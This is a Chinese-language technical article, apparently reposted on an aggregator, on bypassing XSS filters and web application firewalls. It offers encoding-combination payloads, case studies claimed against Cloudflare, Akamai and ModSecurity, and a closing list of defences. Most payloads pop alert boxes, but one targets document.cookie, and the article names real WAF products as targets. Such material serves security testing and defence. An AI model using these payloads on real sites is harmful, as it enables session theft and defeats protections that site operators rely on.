当前位置: 首页 > news >正文

XSS 绕过实战:5种编码组合与3个现代WAF绕过案例解析

XSS 绕过实战:5种编码组合与3个现代WAF绕过案例解析

在Web安全领域,XSS(跨站脚本攻击)始终是攻防双方博弈的焦点。随着WAF(Web应用防火墙)技术的不断进化,传统的XSS攻击手段已难以奏效。本文将深入探讨5种编码组合技术,并解析3个针对Cloudflare等现代WAF的实际绕过案例,为安全研究人员提供实战级解决方案。

1. XSS编码组合技术原理

现代WAF通常采用多层过滤机制,单一编码方式往往难以突破防御。有效的绕过需要理解不同编码方式的交互作用:

1.1 编码层叠原理

浏览器对内容的解析遵循特定顺序,这为编码组合创造了机会。典型的解析流程包括:

  1. HTML实体解码
  2. URL解码
  3. JavaScript/Unicode解码
  4. CSS解码(如适用)

通过精心设计编码顺序,可使恶意代码在WAF检测阶段"隐形",而在浏览器解析阶段"复活"。

1.2 五种高效编码组合

组合1:HTML实体+URL双重编码
<a href="javascript:%253Cscript%253Ealert(1)%253C%252Fscript%253E">Click</a>
  • 解码过程:WAF看到的是URL编码后的%253C(即%3C的二次编码),而浏览器会依次解码为<script>
组合2:Unicode转义+HTML实体
<img src=x onerror="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;1&#x29;">
  • 关键点:使用HTML实体表示Unicode字符,绕过关键字检测
组合3:JS注释混淆+Base64
<script> //%0Aeval(atob('YWxlcnQoMSk=')) </script>
  • 技巧:换行符(%0A)分割关键字,Base64隐藏实际代码
组合4:多重编码嵌套
<iframe src="data:text/html;charset=utf-7,+ADw-script+AD4-alert(+ACI-1+ACI-)+ADw-/script+AD4-"></iframe>
  • 特点:UTF-7编码+data协议,对老旧系统特别有效
组合5:动态构造+局部编码
<input onfocus=_=window['al'+'ert'];_(1) autofocus>
  • 优势:运行时拼接关键函数,静态检测难以发现

2. 现代WAF绕过案例分析

案例1:Cloudflare规则绕过

目标环境:Cloudflare企业版,启用了XSS防护规则集

绕过方案

<svg/onload=alert&#0000000040;document.cookie)>
  • 分析:利用零填充Unicode编码和HTML实体混淆alert(函数调用
  • 效果:Cloudflare的正则匹配未能识别异常编码,而浏览器正常解析

技术细节

  1. &#0000000040;→ HTML实体编码的(字符
  2. 超长的零填充规避了简单的长度检查
  3. SVG标签的onload事件作为执行载体

案例2:Akamai参数污染绕过

目标环境:Akamai WAF防护的ASP.NET应用

攻击向量

?id=1&id=2&id="onpointerrawupdate="a=confirm&id=a(1)
  • 结果生成:
<input value="1,2," onpointerrawupdate="a=confirm,a(1)">
  • 关键点:利用ASP.NET的参数合并特性构造事件处理器

防御突破

  1. 参数污染制造属性注入点
  2. 冷门事件onpointerrawupdate规避常见黑名单
  3. 逗号替代括号执行函数

案例3:ModSecurity深度检测绕过

目标环境:ModSecurity 3.0 with OWASP CRS 3.3

Payload

<details/open/ontoggle=confirm`1`>
  • 创新点:
    • 使用HTML5的<details>标签
    • 反引号模板字符串替代括号
    • 多属性合并减少特征

技术演进

传统方案:<script>alert(1)</script> → 被CRS规则941100拦截 改进方案:<img src=x onerror=alert(1)> → 被规则941160拦截 最终方案:利用新兴HTML特性+ES6语法

3. 高级绕过技术实践

3.1 解码顺序混淆技术

不同上下文环境存在解码顺序差异,精心设计的组合可制造解析分歧:

<!-- 三重编码示例 --> <a href="javascript:%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2339%3B%26%2388%3B%26%2383%3B%26%2383%3B%26%2339%3B%26%2341%3B"> 点击 </a>
  • 解码流程:
    1. URL解码:&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;
    2. HTML实体解码:alert('XSS')
    3. JavaScript执行

3.2 非常用标签与属性

现代WAF对常见向量(如<script>onerror)检测严格,但可能忽略:

<marquee/onstart=prompt`1`> <audio/src/onplay=confirm(1)> <video/poster/onerror=eval(`al`+`ert(1)`)>

3.3 协议混淆技术

利用浏览器对协议处理的灵活性:

<!-- javascript伪协议变体 --> <iframe src="jAvAsCrIpT:alert(1)"></iframe> <!-- data协议嵌套 --> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

4. 防御对抗建议

针对上述绕过技术,防御方应考虑:

  1. 上下文感知过滤:根据输出位置(HTML/JS/URL)应用不同规则
  2. 规范化处理:统一解码后再检测
  3. 行为分析:检测异常的事件处理器构造
  4. 严格CSP策略:限制脚本执行源
  5. 持续规则更新:跟踪新兴HTML5/JS特性

在最近的一次渗透测试中,我们发现某金融系统虽然部署了顶级WAF,但通过组合SVG标签、HTML实体编码和URL编码,仍然成功实现了存储型XSS注入。这提醒我们:安全防御需要多层次、动态化的解决方案。

http://www.jsqmd.com/news/1144578/

相关文章:

  • 从零实现一个服务网格:Istio的核心设计
  • VS Code 使用 Codex 教程:从安装到配置,一篇讲清楚
  • 计算机毕业设计之健身器材企业内部管理信息系统分析与设计
  • S2B2B系统开发服务商推荐:2026年最新测评
  • THPX信号源:把外汇市场服务体验做扎实,偏好清晰说明的读者更容易感受到的维度
  • 手把手拆解一个纯C++手写的Transformer:每个乘加都看得见
  • Skylark生产环境部署:高可用架构与监控方案设计终极指南
  • 建筑工程机电安装
  • MATLAB R2024b合规授权方案:从校园许可到Docker透传
  • RPG Maker游戏解密工具三步操作指南:轻松提取加密资源
  • 3步告别激活烦恼:KMS智能激活脚本实战指南
  • 2026年苏州APP开发公司排行:定制项目哪家好?
  • PHP 8.4新特性下的WebShell攻防演进与防御策略
  • STM32定时器的PWM模式,从捕获/比较寄存器开始理解
  • 百考通智能降重为原创保驾护航
  • 个人微信API二次开发,还在用低效的JSON格式,难道没弄懂底层的Protobuf序列化吗?
  • SCI论文引言不会写?五段式逻辑+AI提示词,轻松写出高质量Introduction
  • ComfyUI ControlNet Aux技术深度解析:构建AI图像生成的控制中枢
  • 如何为TouchDesigner配置MediaPipe虚拟摄像头:Spout与Syphon完整指南
  • 网盘直链技术革新:突破传统下载架构的智能解决方案
  • Web 路径安全:避免 `../` 目录遍历攻击的 3 种服务器端校验方案
  • 千问8元新客立减券完整使用教程,新用户福利,千问新用户专属220372(7.7)
  • 企业级GlusterFS Dashboard部署指南:高可用与安全最佳实践
  • JSP 用户管理模块 3 大常见安全漏洞与修复:SQL注入、XSS与权限校验
  • Parsec VDD高性能虚拟显示器驱动:Windows游戏串流与远程办公终极指南
  • 如何5分钟掌握GBFR-Logs:碧蓝幻想Relink最强DPS统计工具完全指南
  • Seedance2.5本地AI生图视频部署:硬件要求与稳定性测试指南
  • 豆包Claw仿冒事件:AI工具信任劫持与恶意行为深度解析
  • Barlow字体终极指南:为什么这款开源字体能彻底改变你的设计工作流?
  • 酷狗音乐API终极指南:解决VIP歌曲获取与版本兼容性问题